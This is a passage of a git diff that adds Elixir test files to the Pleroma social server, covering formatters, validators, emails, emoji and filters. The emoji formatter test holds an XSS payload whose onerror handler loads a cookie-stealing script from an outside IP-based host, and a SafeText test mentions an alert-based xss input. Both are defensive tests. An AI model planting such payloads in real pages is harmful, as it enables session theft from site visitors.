normalize objects before checking the activity type" do + note = insert(:note) + note_id = note.data["id"] + Repo.delete(note) + refute Object.get_by_ap_id(note_id) + + Tesla.Mock.mock(fn env -> + case env.url do + ^note_id -> + # TODO: add attributedTo and tag to the note factory + body = + note.data + |> Map.put("attributedTo", note.data["actor"]) + |> Map.put("tag", []) + |> Jason.encode!() + + %Tesla.Env{status: 200, body: body} + end + end) + + undo = %Activity{ + id: "fake", + data: %{ + "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(), + "actor" => note.data["actor"], + "to" => [note.data["actor"]], + "object" => note_id, + "type" => "Undo" + } + } + + Conversation.create_or_bump_for(undo) + + refute Object.get_by_ap_id(note_id) + end +end diff --git a/test/pleroma/docs/generator_test.exs b/test/pleroma/docs/generator_test.exs new file mode 100644 index 000000000..43877244d --- /dev/null +++ b/test/pleroma/docs/generator_test.exs @@ -0,0 +1,226 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Docs.GeneratorTest do + use ExUnit.Case, async: true + alias Pleroma.Docs.Generator + + @descriptions [ + %{ + group: :pleroma, + key: Pleroma.Upload, + type: :group, + description: "", + children: [ + %{ + key: :uploader, + type: :module, + description: "", + suggestions: {:list_behaviour_implementations, Pleroma.Upload.Filter} + }, + %{ + key: :filters, + type: {:list, :module}, + description: "", + suggestions: {:list_behaviour_implementations, Pleroma.Web.ActivityPub.MRF} + }, + %{ + key: Pleroma.Upload, + type: :string, + description: "", + suggestions: [""] + }, + %{ + key: :some_key, + type: :keyword, + description: "", + suggestions: [], + children: [ + %{ + key: :another_key, + type: :integer, + description: "", + suggestions: [5] + }, + %{ + key: :another_key_with_label, + label: "Another label", + type: :integer, + description: "", + suggestions: [7] + } + ] + }, + %{ + key: :key1, + type: :atom, + description: "", + suggestions: [ + :atom, + Pleroma.Upload, + {:tuple, "string", 8080}, + [:atom, Pleroma.Upload, {:atom, Pleroma.Upload}] + ] + }, + %{ + key: Pleroma.Upload, + label: "Special Label", + type: :string, + description: "", + suggestions: [""] + }, + %{ + group: {:subgroup, Swoosh.Adapters.SMTP}, + key: :auth, + type: :atom, + description: "`Swoosh.Adapters.SMTP` adapter specific setting", + suggestions: [:always, :never, :if_available] + }, + %{ + key: "application/xml", + type: {:list, :string}, + suggestions: ["xml"] + }, + %{ + key: :versions, + type: {:list, :atom}, + description: "List of TLS version to use", + suggestions: [:tlsv1, ":tlsv1.1", ":tlsv1.2"] + } + ] + }, + %{ + group: :tesla, + key: :adapter, + type: :group, + description: "" + }, + %{ + group: :cors_plug, + type: :group, + children: [%{key: :key1, type: :string, suggestions: [""]}] + }, + %{group: "Some string group", key: "Some string key", type: :group} + ] + + describe "convert_to_strings/1" do + test "group, key, label" do + [desc1, desc2 | _] = Generator.convert_to_strings(@descriptions) + + assert desc1[:group] == ":pleroma" + assert desc1[:key] == "Pleroma.Upload" + assert desc1[:label] == "Pleroma.Upload" + + assert desc2[:group] == ":tesla" + assert desc2[:key] == ":adapter" + assert desc2[:label] == "Adapter" + end + + test "group without key" do + descriptions = Generator.convert_to_strings(@descriptions) + desc = Enum.at(descriptions, 2) + + assert desc[:group] == ":cors_plug" + refute desc[:key] + assert desc[:label] == "Cors plug" + end + + test "children key, label, type" do + [%{children: [child1, child2, child3, child4 | _]} | _] = + Generator.convert_to_strings(@descriptions) + + assert child1[:key] == ":uploader" + assert child1[:label] == "Uploader" + assert child1[:type] == :module + + assert child2[:key] == ":filters" + assert child2[:label] == "Filters" + assert child2[:type] == {:list, :module} + + assert child3[:key] == "Pleroma.Upload" + assert child3[:label] == "Pleroma.Upload" + assert child3[:type] == :string + + assert child4[:key] == ":some_key" + assert child4[:label] == "Some key" + assert child4[:type] == :keyword + end + + test "child with predefined label" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + child = Enum.at(children, 5) + assert child[:key] == "Pleroma.Upload" + assert child[:label] == "Special Label" + end + + test "subchild" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + child = Enum.at(children, 3) + %{children: [subchild | _]} = child + + assert subchild[:key] == ":another_key" + assert subchild[:label] == "Another key" + assert subchild[:type] == :integer + end + + test "subchild with predefined label" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + child = Enum.at(children, 3) + %{children: subchildren} = child + subchild = Enum.at(subchildren, 1) + + assert subchild[:key] == ":another_key_with_label" + assert subchild[:label] == "Another label" + end + + test "module suggestions" do + [%{children: [%{suggestions: suggestions} | _]} | _] = + Generator.convert_to_strings(@descriptions) + + Enum.each(suggestions, fn suggestion -> + assert String.starts_with?(suggestion, "Pleroma.") + end) + end + + test "atoms in suggestions with leading `:`" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + %{suggestions: suggestions} = Enum.at(children, 4) + assert Enum.at(suggestions, 0) == ":atom" + assert Enum.at(suggestions, 1) == "Pleroma.Upload" + assert Enum.at(suggestions, 2) == {":tuple", "string", 8080} + assert Enum.at(suggestions, 3) == [":atom", "Pleroma.Upload", {":atom", "Pleroma.Upload"}] + + %{suggestions: suggestions} = Enum.at(children, 6) + assert Enum.at(suggestions, 0) == ":always" + assert Enum.at(suggestions, 1) == ":never" + assert Enum.at(suggestions, 2) == ":if_available" + end + + test "group, key as string in main desc" do + descriptions = Generator.convert_to_strings(@descriptions) + desc = Enum.at(descriptions, 3) + assert desc[:group] == "Some string group" + assert desc[:key] == "Some string key" + end + + test "key as string subchild" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + child = Enum.at(children, 7) + assert child[:key] == "application/xml" + end + + test "suggestion for tls versions" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + child = Enum.at(children, 8) + assert child[:suggestions] == [":tlsv1", ":tlsv1.1", ":tlsv1.2"] + end + + test "subgroup with module name" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + + %{group: subgroup} = Enum.at(children, 6) + assert subgroup == {":subgroup", "Swoosh.Adapters.SMTP"} + end + end +end diff --git a/test/pleroma/earmark_renderer_test.exs b/test/pleroma/earmark_renderer_test.exs new file mode 100644 index 000000000..220d97d16 --- /dev/null +++ b/test/pleroma/earmark_renderer_test.exs @@ -0,0 +1,79 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only +defmodule Pleroma.EarmarkRendererTest do + use ExUnit.Case + + test "Paragraph" do + code = ~s[Hello\n\nWorld!] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "

Hello

World!

" + end + + test "raw HTML" do + code = ~s[OwO] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "

#{code}

" + end + + test "rulers" do + code = ~s[before\n\n-----\n\nafter] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "

before


after

" + end + + test "headings" do + code = ~s[# h1\n## h2\n### h3\n] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

h1

h2

h3

] + end + + test "blockquote" do + code = ~s[> whoms't are you quoting?] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "

whoms’t are you quoting?

" + end + + test "code" do + code = ~s[`mix`] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

mix

] + + code = ~s[``mix``] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

mix

] + + code = ~s[```\nputs "Hello World"\n```] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[
puts "Hello World"
] + end + + test "lists" do + code = ~s[- one\n- two\n- three\n- four] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "
  • one
  • two
  • three
  • four
" + + code = ~s[1. one\n2. two\n3. three\n4. four\n] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "
  1. one
  2. two
  3. three
  4. four
" + end + + test "delegated renderers" do + code = ~s[a
b] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "

#{code}

" + + code = ~s[*aaaa~*] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

aaaa~

] + + code = ~s[**aaaa~**] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

aaaa~

] + + # strikethrought + code = ~s[aaaa~] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

aaaa~

] + end +end diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs new file mode 100644 index 000000000..812463454 --- /dev/null +++ b/test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs @@ -0,0 +1,36 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.DateTimeTest do + alias Pleroma.EctoType.ActivityPub.ObjectValidators.DateTime + use Pleroma.DataCase + + test "it validates an xsd:Datetime" do + valid_strings = [ + "2004-04-12T13:20:00", + "2004-04-12T13:20:15.5", + "2004-04-12T13:20:00-05:00", + "2004-04-12T13:20:00Z" + ] + + invalid_strings = [ + "2004-04-12T13:00", + "2004-04-1213:20:00", + "99-04-12T13:00", + "2004-04-12" + ] + + assert {:ok, "2004-04-01T12:00:00Z"} == DateTime.cast("2004-04-01T12:00:00Z") + + Enum.each(valid_strings, fn date_time -> + result = DateTime.cast(date_time) + assert {:ok, _} = result + end) + + Enum.each(invalid_strings, fn date_time -> + result = DateTime.cast(date_time) + assert :error == result + end) + end +end diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs new file mode 100644 index 000000000..732e2365f --- /dev/null +++ b/test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs @@ -0,0 +1,41 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.ObjectIDTest do + alias Pleroma.EctoType.ActivityPub.ObjectValidators.ObjectID + use Pleroma.DataCase + + @uris [ + "http://lain.com/users/lain", + "http://lain.com", + "https://lain.com/object/1" + ] + + @non_uris [ + "https://", + "rin", + 1, + :x, + %{"1" => 2} + ] + + test "it accepts http uris" do + Enum.each(@uris, fn uri -> + assert {:ok, uri} == ObjectID.cast(uri) + end) + end + + test "it accepts an object with a nested uri id" do + Enum.each(@uris, fn uri -> + assert {:ok, uri} == ObjectID.cast(%{"id" => uri}) + end) + end + + test "it rejects non-uri strings" do + Enum.each(@non_uris, fn non_uri -> + assert :error == ObjectID.cast(non_uri) + assert :error == ObjectID.cast(%{"id" => non_uri}) + end) + end +end diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs new file mode 100644 index 000000000..2e6a0c83d --- /dev/null +++ b/test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs @@ -0,0 +1,31 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.RecipientsTest do + alias Pleroma.EctoType.ActivityPub.ObjectValidators.Recipients + use Pleroma.DataCase + + test "it asserts that all elements of the list are object ids" do + list = ["https://lain.com/users/lain", "invalid"] + + assert :error == Recipients.cast(list) + end + + test "it works with a list" do + list = ["https://lain.com/users/lain"] + assert {:ok, list} == Recipients.cast(list) + end + + test "it works with a list with whole objects" do + list = ["https://lain.com/users/lain", %{"id" => "https://gensokyo.2hu/users/raymoo"}] + resulting_list = ["https://gensokyo.2hu/users/raymoo", "https://lain.com/users/lain"] + assert {:ok, resulting_list} == Recipients.cast(list) + end + + test "it turns a single string into a list" do + recipient = "https://lain.com/users/lain" + + assert {:ok, [recipient]} == Recipients.cast(recipient) + end +end diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs new file mode 100644 index 000000000..7eddd2388 --- /dev/null +++ b/test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs @@ -0,0 +1,30 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.SafeTextTest do + use Pleroma.DataCase + + alias Pleroma.EctoType.ActivityPub.ObjectValidators.SafeText + + test "it lets normal text go through" do + text = "hey how are you" + assert {:ok, text} == SafeText.cast(text) + end + + test "it removes html tags from text" do + text = "hey look xss " + assert {:ok, "hey look xss alert('foo')"} == SafeText.cast(text) + end + + test "it keeps basic html tags" do + text = "hey look xss " + + assert {:ok, "hey look xss alert('foo')"} == + SafeText.cast(text) + end + + test "errors for non-text" do + assert :error == SafeText.cast(1) + end +end diff --git a/test/pleroma/emails/admin_email_test.exs b/test/pleroma/emails/admin_email_test.exs new file mode 100644 index 000000000..155057f3e --- /dev/null +++ b/test/pleroma/emails/admin_email_test.exs @@ -0,0 +1,69 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emails.AdminEmailTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Emails.AdminEmail + alias Pleroma.Web.Router.Helpers + + test "build report email" do + config = Pleroma.Config.get(:instance) + to_user = insert(:user) + reporter = insert(:user) + account = insert(:user) + + res = + AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment") + + status_url = Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, "12") + reporter_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, reporter.id) + account_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, account.id) + + assert res.to == [{to_user.name, to_user.email}] + assert res.from == {config[:name], config[:notify_email]} + assert res.subject == "#{config[:name]} Report" + + assert res.html_body == + "

Reported by: #{reporter.nickname}

\n

Reported Account: #{account.nickname}

\n

Comment: Test comment\n

Statuses:\n

\n

\n\n

\nView Reports in AdminFE\n" + end + + test "it works when the reporter is a remote user without email" do + config = Pleroma.Config.get(:instance) + to_user = insert(:user) + reporter = insert(:user, email: nil, local: false) + account = insert(:user) + + res = + AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment") + + assert res.to == [{to_user.name, to_user.email}] + assert res.from == {config[:name], config[:notify_email]} + end + + test "new unapproved registration email" do + config = Pleroma.Config.get(:instance) + to_user = insert(:user) + account = insert(:user, registration_reason: "Plz let me in") + + res = AdminEmail.new_unapproved_registration(to_user, account) + + account_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, account.id) + + assert res.to == [{to_user.name, to_user.email}] + assert res.from == {config[:name], config[:notify_email]} + assert res.subject == "New account up for review on #{config[:name]} (@#{account.nickname})" + + assert res.html_body == """ +

New account for review: @#{account.nickname}

+
Plz let me in
+ Visit AdminFE + """ + end +end diff --git a/test/pleroma/emails/mailer_test.exs b/test/pleroma/emails/mailer_test.exs new file mode 100644 index 000000000..9e232d2a0 --- /dev/null +++ b/test/pleroma/emails/mailer_test.exs @@ -0,0 +1,55 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emails.MailerTest do + use Pleroma.DataCase + alias Pleroma.Emails.Mailer + + import Swoosh.TestAssertions + + @email %Swoosh.Email{ + from: {"Pleroma", "noreply@example.com"}, + html_body: "Test email", + subject: "Pleroma test email", + to: [{"Test User", "user1@example.com"}] + } + setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) + + test "not send email when mailer is disabled" do + clear_config([Pleroma.Emails.Mailer, :enabled], false) + Mailer.deliver(@email) + :timer.sleep(100) + + refute_email_sent( + from: {"Pleroma", "noreply@example.com"}, + to: [{"Test User", "user1@example.com"}], + html_body: "Test email", + subject: "Pleroma test email" + ) + end + + test "send email" do + Mailer.deliver(@email) + :timer.sleep(100) + + assert_email_sent( + from: {"Pleroma", "noreply@example.com"}, + to: [{"Test User", "user1@example.com"}], + html_body: "Test email", + subject: "Pleroma test email" + ) + end + + test "perform" do + Mailer.perform(:deliver_async, @email, []) + :timer.sleep(100) + + assert_email_sent( + from: {"Pleroma", "noreply@example.com"}, + to: [{"Test User", "user1@example.com"}], + html_body: "Test email", + subject: "Pleroma test email" + ) + end +end diff --git a/test/pleroma/emails/user_email_test.exs b/test/pleroma/emails/user_email_test.exs new file mode 100644 index 000000000..a75623bb4 --- /dev/null +++ b/test/pleroma/emails/user_email_test.exs @@ -0,0 +1,48 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emails.UserEmailTest do + use Pleroma.DataCase + + alias Pleroma.Emails.UserEmail + alias Pleroma.Web.Endpoint + alias Pleroma.Web.Router + + import Pleroma.Factory + + test "build password reset email" do + config = Pleroma.Config.get(:instance) + user = insert(:user) + email = UserEmail.password_reset_email(user, "test_token") + assert email.from == {config[:name], config[:notify_email]} + assert email.to == [{user.name, user.email}] + assert email.subject == "Password reset" + assert email.html_body =~ Router.Helpers.reset_password_url(Endpoint, :reset, "test_token") + end + + test "build user invitation email" do + config = Pleroma.Config.get(:instance) + user = insert(:user) + token = %Pleroma.UserInviteToken{token: "test-token"} + email = UserEmail.user_invitation_email(user, token, "test@test.com", "Jonh") + assert email.from == {config[:name], config[:notify_email]} + assert email.subject == "Invitation to Pleroma" + assert email.to == [{"Jonh", "test@test.com"}] + + assert email.html_body =~ + Router.Helpers.redirect_url(Endpoint, :registration_page, token.token) + end + + test "build account confirmation email" do + config = Pleroma.Config.get(:instance) + user = insert(:user, confirmation_token: "conf-token") + email = UserEmail.account_confirmation_email(user) + assert email.from == {config[:name], config[:notify_email]} + assert email.to == [{user.name, user.email}] + assert email.subject == "#{config[:name]} account confirmation" + + assert email.html_body =~ + Router.Helpers.confirm_email_url(Endpoint, :confirm_email, user.id, "conf-token") + end +end diff --git a/test/pleroma/emoji/formatter_test.exs b/test/pleroma/emoji/formatter_test.exs new file mode 100644 index 000000000..12af6cd8b --- /dev/null +++ b/test/pleroma/emoji/formatter_test.exs @@ -0,0 +1,49 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.FormatterTest do + alias Pleroma.Emoji.Formatter + use Pleroma.DataCase + + describe "emojify" do + test "it adds cool emoji" do + text = "I love :firefox:" + + expected_result = + "I love \"firefox\"" + + assert Formatter.emojify(text) == expected_result + end + + test "it does not add XSS emoji" do + text = + "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + + custom_emoji = + { + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", + "https://placehold.it/1x1" + } + |> Pleroma.Emoji.build() + + refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text + end + end + + describe "get_emoji_map" do + test "it returns the emoji used in the text" do + assert Formatter.get_emoji_map("I love :firefox:") == %{ + "firefox" => "http://localhost:4001/emoji/Firefox.gif" + } + end + + test "it returns a nice empty result when no emojis are present" do + assert Formatter.get_emoji_map("I love moominamma") == %{} + end + + test "it doesn't die when text is absent" do + assert Formatter.get_emoji_map(nil) == %{} + end + end +end diff --git a/test/pleroma/emoji/loader_test.exs b/test/pleroma/emoji/loader_test.exs new file mode 100644 index 000000000..804039e7e --- /dev/null +++ b/test/pleroma/emoji/loader_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.LoaderTest do + use ExUnit.Case, async: true + alias Pleroma.Emoji.Loader + + describe "match_extra/2" do + setup do + groups = [ + "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], + "wildcard folder": "/emoji/custom/*/file.png", + "wildcard files": "/emoji/custom/folder/*.png", + "special file": "/emoji/custom/special.png" + ] + + {:ok, groups: groups} + end + + test "config for list of files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/first_file.png") + |> to_string() + + assert group == "list of files" + end + + test "config with wildcard folder", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard folder and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config with wildcard files and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config for special file", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/special.png") + |> to_string() + + assert group == "special file" + end + + test "no mathing returns nil", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/some_undefined.png") + + refute group + end + end +end diff --git a/test/pleroma/emoji_test.exs b/test/pleroma/emoji_test.exs new file mode 100644 index 000000000..1dd3c58c6 --- /dev/null +++ b/test/pleroma/emoji_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EmojiTest do + use ExUnit.Case + alias Pleroma.Emoji + + describe "is_unicode_emoji?/1" do + test "tells if a string is an unicode emoji" do + refute Emoji.is_unicode_emoji?("X") + assert Emoji.is_unicode_emoji?("☂") + assert Emoji.is_unicode_emoji?("🥺") + end + end + + describe "get_all/0" do + setup do + emoji_list = Emoji.get_all() + {:ok, emoji_list: emoji_list} + end + + test "first emoji", %{emoji_list: emoji_list} do + [emoji | _others] = emoji_list + {code, %Emoji{file: path, tags: tags}} = emoji + + assert tuple_size(emoji) == 2 + assert is_binary(code) + assert is_binary(path) + assert is_list(tags) + end + + test "random emoji", %{emoji_list: emoji_list} do + emoji = Enum.random(emoji_list) + {code, %Emoji{file: path, tags: tags}} = emoji + + assert tuple_size(emoji) == 2 + assert is_binary(code) + assert is_binary(path) + assert is_list(tags) + end + end +end diff --git a/test/pleroma/filter_test.exs b/test/pleroma/filter_test.exs new file mode 100644 index 000000000..0a5c4426a --- /dev/null +++ b/test/pleroma/filter_test.exs @@ -0,0 +1,158 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.FilterTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Filter + alias Pleroma.Repo + + describe "creating filters" do + test "creating one filter" do + user = insert(:user) + + query = %Filter{ + user_id: user.id, + filter_id: 42, + phrase: "knights", + context: ["home"] + } + + {:ok, %Filter{} = filter} = Filter.create(query) + result = Filter.get(filter.filter_id, user) + assert query.phrase == result.phrase + end + + test "creating one filter without a pre-defined filter_id" do + user = insert(:user) + + query = %Filter{ + user_id: user.id, + phrase: "knights", + context: ["home"] + } + + {:ok, %Filter{} = filter} = Filter.create(query) + # Should start at 1 + assert filter.filter_id == 1 + end + + test "creating additional filters uses previous highest filter_id + 1" do + user = insert(:user) + + query_one = %Filter{ + user_id: user.id, + filter_id: 42, + phrase: "knights", + context: ["home"] + } + + {:ok, %Filter{} = filter_one} = Filter.create(query_one) + + query_two = %Filter{ + user_id: user.id, + # No filter_id + phrase: "who", + context: ["home"] + } + + {:ok, %Filter{} = filter_two} = Filter.create(query_two) + assert filter_two.filter_id == filter_one.filter_id + 1 + end + + test "filter_id is unique per user" do + user_one = insert(:user) + user_two = insert(:user) + + query_one = %Filter{ + user_id: user_one.id, + phrase: "knights", + context: ["home"] + } + + {:ok, %Filter{} = filter_one} = Filter.create(query_one) + + query_two = %Filter{ + user_id: user_two.id, + phrase: "who", + context: ["home"] + } + + {:ok, %Filter{} = filter_two} = Filter.create(query_two) + + assert filter_one.filter_id == 1 + assert filter_two.filter_id == 1 + + result_one = Filter.get(filter_one.filter_id, user_one) + assert result_one.phrase == filter_one.phrase + + result_two = Filter.get(filter_two.filter_id, user_two) + assert result_two.phrase == filter_two.phrase + end + end + + test "deleting a filter" do + user = insert(:user) + + query = %Filter{ + user_id: user.id, + filter_id: 0, + phrase: "knights", + context: ["home"] + } + + {:ok, _filter} = Filter.create(query) + {:ok, filter} = Filter.delete(query) + assert is_nil(Repo.get(Filter, filter.filter_id)) + end + + test "getting all filters by an user" do + user = insert(:user) + + query_one = %Filter{ + user_id: user.id, + filter_id: 1, + phrase: "knights", + context: ["home"] + } + + query_two = %Filter{ + user_id: user.id, + filter_id: 2, + phrase: "who", + context: ["home"] + } + + {:ok, filter_one} = Filter.create(query_one) + {:ok, filter_two} = Filter.create(query_two) + filters = Filter.get_filters(user) + assert filter_one in filters + assert filter_two in filters + end + + test "updating a filter" do + user = insert(:user) + + query_one = %Filter{ + user_id: user.id, + filter_id: 1, + phrase: "knights", + context: ["home"] + } + + changes = %{ + phrase: "who", + context: ["home", "timeline"] + } + + {:ok, filter_one} = Filter.create(query_one) + {:ok, filter_two} = Filter.update(filter_one, changes) + + assert filter_one != filter_two + assert filter_two.phrase == changes.phrase + assert filter_two.context == changes.context + end +end diff --git a/test/pleroma/following_relationship_test.exs b/test/pleroma/following_relationship_test.exs new file mode 100644 index 000000000..17a468abb --- /dev/null +++ b/test/pleroma/following_relationship_test.exs @@ -0,0 +1,47 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.FollowingRelationshipTest do + use Pleroma.DataCase + + alias Pleroma.FollowingRelationship + alias Pleroma.Web.ActivityPub.InternalFetchActor + alias Pleroma.Web.ActivityPub.Relay + + import Pleroma.Factory + + describe "following/1" do + test "returns following addresses without internal.fetch" do + user = insert(:user) + fetch_actor = InternalFetchActor.get_actor() + FollowingRelationship.follow(fetch_actor, user, :follow_accept) + assert FollowingRelationship.following(fetch_actor) == [user.follower_address] + end + + test "returns following addresses without relay" do + user = insert(:user) + relay_actor = Relay.get_actor() + FollowingRelationship.follow(relay_actor, user, :follow_accept) + assert FollowingRelationship.following(relay_actor) == [user.follower_address] + end + + test "returns following addresses without remote user" do + user = insert(:user) + actor = insert(:user, local: false) + FollowingRelationship.follow(actor, user, :follow_accept) + assert FollowingRelationship.following(actor) == [user.follower_address] + end + + test "returns following addresses with local user" do + user = insert(:user) + actor = insert(:user, local: true) + FollowingRelationship.follow(actor, user, :follow_accept) + + assert FollowingRelationship.following(actor) == [ + actor.follower_address, + user.follower_address + ] + end + end +end diff --git a/test/pleroma/formatter_test.exs b/test/pleroma/formatter_test.exs new file mode 100644 index 000000000..f066bd50a --- /dev/null +++ b/test/pleroma/formatter_test.exs @@ -0,0 +1,312 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.FormatterTest do + alias Pleroma.Formatter + alias Pleroma.User + use Pleroma.DataCase + + import Pleroma.Factory + + setup_all do + clear_config(Pleroma.Formatter) + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe ".add_hashtag_links" do + test "turns hashtags into links" do + text = "I love #cofe and #2hu" + + expected_text = + ~s(I love #cofe and #2hu) + + assert {^expected_text, [], _tags} = Formatter.linkify(text) + end + + test "does not turn html characters to tags" do + text = "#fact_3: pleroma does what mastodon't" + + expected_text = + ~s(#fact_3: pleroma does what mastodon't) + + assert {^expected_text, [], _tags} = Formatter.linkify(text) + end + end + + describe ".add_links" do + test "turning urls into links" do + text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ." + + expected = + ~S(Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla .) + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://mastodon.social/@lambadalambda" + + expected = + ~S(https://mastodon.social/@lambadalambda) + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://mastodon.social:4000/@lambadalambda" + + expected = + ~S(https://mastodon.social:4000/@lambadalambda) + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "@lambadalambda" + expected = "@lambadalambda" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "http://www.cs.vu.nl/~ast/intel/" + + expected = + ~S(http://www.cs.vu.nl/~ast/intel/) + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" + + expected = + 